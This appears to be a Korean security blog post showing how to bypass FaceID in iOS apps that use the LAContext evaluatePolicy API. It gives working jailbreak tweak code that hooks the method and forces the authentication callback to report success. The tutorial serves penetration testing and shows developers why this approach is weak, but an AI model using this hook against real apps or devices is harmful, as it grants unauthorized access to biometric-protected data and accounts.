Information Security/iOS

iOS FaceID Bypass

hackcatml 2021. 8. 25. 23:58
반응형

FaceID는 iPhoneX 이상의 단말기에서 도입되었습니다.

 

 

FaceID를 사용한다 하더라도 앱 개발자가 Touch ID 처럼 취약한 프레임워크를 사용한다면 쉽게 우회가 가능합니다.

Touch ID의 경우 "-[LAContext evaluatePolicy:localizedReason:reply:]" 를 후킹하여 우회가 가능한데요, FaceID도 LAContext 클래스를 사용하여 구현되어 있다면 동일한 방식으로 우회가 가능합니다.

 

우선, 후킹코드를 다음과 같이 작성하여 취약한 프레임워크를 사용하는지 확인합니다.

%hook LAContext
-(void)evaluatePolicy:(long long)arg1 localizedReason:(id)arg2 reply:(void (^)(BOOL success, NSError *error))arg3 {
    NSLog(@"-[<LAContext: %p> evaluatePolicy:%lld localizedReason:%@ reply:%@]", self, arg1, arg2, (id)arg3);
    // interception 이라는 block 함수를 정의하여 본래의 block 구문의 로직 조작 후, %orig에 interception block 함수를 인자로 넘겨줌
    void (^interception)(BOOL success, NSError *error) = ^(BOOL success, NSError *error) {
        NSLog(@"success: %d", success);
        NSLog(@"error: %@", error);
        if (arg3) {
            arg3(success, error);
        }
    };
    %orig(arg1, arg2, interception);
}
%end

 

 

트윅 설치 후 앱을 다시 실행하고, FaceID 인증창에서 "Cancel" 을 터치하면 다음과 같은 로그를 확인할 수 있습니다.

※ iPhoneX, iOS14.2, Taurine JB 에서 테스트

 

 

"Cancel" 을 터치했더니 success 값은 0으로 전달되고 있군요. success 값을 항상 1로 고정하면 어떻게 될까요?

%hook LAContext
-(void)evaluatePolicy:(long long)arg1 localizedReason:(id)arg2 reply:(void (^)(BOOL success, NSError *error))arg3 {
    NSLog(@"-[<LAContext: %p> evaluatePolicy:%lld localizedReason:%@ reply:%@]", self, arg1, arg2, (id)arg3);
	void (^interception)(BOOL success, NSError *error) = ^(BOOL success, NSError *error) {
        NSLog(@"success: %d", success);
		NSLog(@"error: %@", error);
        if (arg3) {
            success = YES;
            arg3(success, error);
        }
    };
	%orig(arg1, arg2, interception);
}
%end

 

 

FaceID 인증을 우회하여 앱 사용이 가능합니다.

반응형